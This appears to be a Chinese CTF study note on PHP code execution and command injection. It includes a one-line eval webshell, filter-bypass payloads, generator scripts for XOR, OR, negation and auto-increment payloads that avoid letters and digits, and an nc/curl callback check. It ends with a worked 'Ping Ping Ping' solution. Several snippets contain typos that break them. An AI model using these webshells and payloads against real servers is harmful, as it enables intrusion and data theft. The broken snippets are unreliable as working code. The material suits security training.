一:代码执行
- 相关函数
1、eval()函数
assert()函数
(1)原理:将用户提交或者传递的字符串当作php代码执行
(2)passby:单引号绕过:闭合+注释;开启GPC的话就无法绕过(GPC就是将单引号转换为"反斜杠+单引号")
eg:
<?php
highlight_file(__FILE__);//高亮显示代码
$cmd = $_GET['cmd']
//GET传值:url/?cmd=phpinfo();
eval('$cmd');//必须传递一个完整语句;参数后面必须加分号!
assert('$cmd');//可以不加分号!
?>
//一句话木马的介绍
<?php eval($_POST["cmd"]);?>
2、preg_replace()
原理:正则表达式的匹配;其中存在一个危险的字符/e
修饰符;使preg_replace()将replaement参数当作php代码执行
<?php
highlight_file(__FILE__);
preg_replace('/abc/e',$_RWQUST['cmd'],'abcd');
//GET传值方式:url/?cmd=phpinfo()
preg_replace('/<data>(.*)<\/data>/e','$ret="\\1"',$cmd);
?>
//如果匹配到abc,就会将用户传递进来的参数当作php代码进行执行
3、自定义函数
(1)create_function(string $args,string $code)
原理:主要用来创建匿名函数
;如果没有对传递参数进行过滤;攻击者可以构造特殊的字符串来执行任意命令
<?php
$cmd = $_GET['cmd'];
//GET传值方式:url/?cmd=phpinfo();
$func = create_function('',$_REQUEST['cmd']);
$func();
?>
(2)自定义函数回调
<?php
判断是否回调
//echo is_callable('assert');
//可以回调显示1;否则显示0;根据回显函数执行系统命令
call_user_func函数
//call_user_func('assert',$GET['cmd'])
// GET传值:url/?cmd=phpinfo()
call_user_func_array函数
//$cmd = $GET['cmd']
//call_user_func_array('assert',$cmd)
//以数组的方式传递;GET传值方式:url/?cmd[]=phpinfo()
?>
4、动态函数
<?php
//定义函数输出a
function a(){
echo 'a';
}
//定义函数输出b
function b(){
echo 'b';
}
//判断是否通过GET方式传递了func参数
if(isset($_GET["func"]))){
//接受传递的参数
$myfunc = $GET["func"];
//调用函数执行传递进来的命令
echo $myfunc();
}
//GET传值: url?func=phpinfo();
?>
二:命令执行
- 命令执行相关函数
(1)system()函数
eg:
system('ls'); #查看当前系统目录.ls<==>pwd
system('ls /'); #查看上一级目录信息
system('cat /falg'); #查看flag内容
(2)exec(参数,执行结果)函数
eg:
<?php
highlight_file(__FILE__);
$cmd = $GET['cmd'];
exec($cmd.$result);
//将用户传递的参数当作系统命令执行;并返回结果给
$result echo $result;
var_dump($result)
//输出执行命令的参数
?>
(3)shell_exec()函数与passthru函数
原理:与exec的区别就是shell_exec函数和passthru函数会直接输出执行结果
<?php
highlight_file(__FILE__);
$cmd = $GET['cmd'];
//$output = shell_exec($cmd);
//echo $output
//passthru($cmd);
?>
(4)反引号
与shell_exec原理相同;对传递进来的cmd参数用反引号括起来(就会当作系统命令执行)
<?php
highlight_file(__FILE__);
$cmd = $GET['cmd'];
$output = `$cmd`
echo $output
- 防御措施
- 验证是否存在命令注入
(1)延时执行
ls -alh|sleep 3
#GET传值方式 url/?cmd=ls|sleep 3;如果延时执行那么存在命令执行;f12在网络中看响应时间
(2)HTTP请求
# 使用nc 和 curl结合使用;判断是否请求成功
nc -lcf 8000
curl ip 8000 //如果nc处有回显信息说明请求连接成功
(3)DNS请求
# 将目标url转为域名
url/?cmd=ping 域名 #根据回显判断是否存在
- 命令执行绕过
(1)echo拼接(用.进行拼接)
换行符(%0a)、 回车符(%0d)、 连续命令(;)、 管道符(|)、 逻辑符(&&,||)
GET传值方式
url/?cmd=ls;ifconfig<==>url/?cmd=ls|ifconfig<==>url/?cmd=ls%0aifconfig
(2)linux中空格的过滤
空格<==>%09(tab)<==>${IFS}<==>$IFS<==>$IFS$9<==><
eg:
cat flag.php <==>cat%09flag.php<==>cat${IFS}flag.php<==>cat$IFSflag.php<==>cat<flag.php
(3)关键字系统命令被过滤
;a=l;b=s;$a$b<==>ls
GET传值:url/?cmd=pwd;;a=l;b=s;$a$b
(4)base64编码
三:绕过
(1)在ctf题目当中;我们会碰到过滤字母和数字的情况;可以通异或;取反;自增;或
进行绕过
<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
eval($_GET['shell']);
}
(2)异或绕过
eg1: 5和z进行异或
原理:字符 “5” 的ascii码是53,其二进制是110101,字母Z的ascii码是90,二进制是1011010;异或一下就是1101111;转化为asscii就是o
异或脚本
// rce_xor.php
<?php
$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {
if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[a-z0-9]/i'; //根据题目给的正则表达式修改即可
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}
else{
$a='%'.$hex_i; $b='%'.$hex_j; $c=(urldecode($a)^urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
# -*- coding: utf-8 -*-
# rce_xor.py
import requests
import urllib
from sys import *
import os
def action(arg):
s1=""
s2=""
for i in arg:
f=open("xor_rce.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"^\""+s2+"\")"
return(output)
while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
print(param)
eg:
(3)或绕过
<?php
/* author yu22x */
$myfile = fopen("or_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {
if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[0-9a-z]/i';//根据题目给的正则表达式修改即可
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}
else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)|urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
# -*- coding: utf-8 -*-
# author yu22x
import requests
import urllib
from sys import *
import os
def action(arg):
s1=""
s2=""
for i in arg:
f=open("or_rce.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"|\""+s2+"\")"
return(output)
while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
print(param)
(4)取反绕过
<?php
//在命令行中运行
// 取反
// 无数字字母getshell
while(true) {
fwrite(STDOUT,PHP_EOL.'[+]your function: ');
$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
fwrite(STDOUT,PHP_EOL.'\n[+]your command: ');
$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');'; //两次取反可得到原结果
}
(5)自增绕过
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
四:例题讲解
题目1:Ping Ping Ping
首先进行了简单的ping;测试发现过滤了常见的命令连接符;
%0a %0d ; | && || &
使用字典跑一下发现没有对|和;进行过滤;于是列举当前目录/?ip=127.0.0.1|ls
尝试查看一下flag.php;发现过滤了空格;于是使用空格字典进行爆破;发现没有过滤${IFS}和$IFS$9!
再次查看发现对flag进行了过滤
(1)方法1
反引号绕过;构造payload;查看当前的所有文件的内容(由于博客的限制;用引号暂代提一下;就是用反引号将ls括起来;就会将ls当作命令执行!)
/?ip=127.0.0.1|cat$IFS$9'ls'
(2)方法2;绕过flag的过滤!(linux中的一种语法!)
/?ip=127.0.0.1;a=g;cat$IFS$9fla$a.php